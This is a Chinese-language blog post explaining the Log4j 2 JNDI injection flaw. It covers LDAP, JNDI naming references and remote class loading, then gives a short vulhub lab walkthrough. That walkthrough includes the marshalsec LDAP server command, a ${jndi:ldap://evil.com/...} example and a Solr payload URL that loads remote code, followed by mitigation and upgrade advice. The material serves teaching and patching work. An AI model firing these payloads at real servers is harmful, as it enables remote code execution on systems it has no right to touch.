log4j JNDI注入漏洞
目錄- log4j JNDI注入漏洞
- 一、LDAP介紹
- 二、JDBC介紹
- 三、JNDI介紹
- 四、JNDI命名參考
- 五、log4j JNDI注入漏洞
一、LDAP介紹
? LDAP是一種協議,LDAP 的全稱是 Lightweight Directory Access Protocol,輕量目錄訪問協議,
二、JDBC介紹
? JDBC是一種規范,JDBC的全稱是Java資料庫連接(Java Database connect),它是一套用于執行SQL陳述句的Java API,
三、JNDI介紹
? JNDI是一種規范,JNDI的全稱是Java Naming and Directory Interface,Java 命名與目錄介面,可以根據名字找到對應資源,
JNDI可以訪問的服務:
LDAP目錄服務、RMI遠程方法呼叫、DNS、檔案系統等,
四、JNDI命名參考
1、在LDAP里面可以存盤一個外部的資源,叫做命名參考,對應Reference類,
比如:遠程HTTP服務的一個.class檔案,
2、如果JNDI客戶端,在LDAP服務中找不到對應的資源,就去指定的地址請求,如果是命名參考,會把這個檔案下載到本地,
3、如果下載的.class檔案包含無參建構式或靜態方法塊,加載的時候會自動執行,
五、log4j JNDI注入漏洞
? Apache Log4j 2 是Java語言的日志處理套件,使用極為廣泛,在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日志內容的情況下,通過傳入類似于${jndi:ldap://evil.com/example}的lookup用于進行JNDI注入,執行任意代碼,
個人理解:(不一定正確)
log4j JNDI注入漏洞主要是因為log4j在日志記錄的方法中呼叫了lookup方法,可以通過JNDI去訪問LDAP、RMI等服務,又因為ldap存在命名參考,如果不存在指定檔案,就會去指定的url下載到本地,如果下載的.class檔案包含無參建構式和靜態代碼塊就會被自動執行,從而造成任意代碼執行,
漏洞利用:
1、kali中開啟vulhub中log4j的靶機
2、開啟獲取資源的http服務器
3、把惡意的.java檔案編譯后的.class檔案放到http服務器上(需要用jdk1.8版本)
4、開啟RMI/LDAP服務(本機的9999埠)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
5、bp發送payload
http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}
修復思路:
1、禁止用戶請求引數出現攻擊關鍵字
2、禁止lookup下載遠程檔案(命名參考)
3、禁止log4j的應用連接外網
4、禁止log4j使用lookup
5、從log4j jar包中洗掉lookup(適合2.10以下版本)
修復方案:
1、將log4j框架升級到2.17.1版本
2、使用安全產品防護
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551476.html
標籤:其他
上一篇:KubeSphere 社區雙周報 | 杭州站 Meetup 議題征集中 | 2023.04.14-04.27
下一篇:返回列表
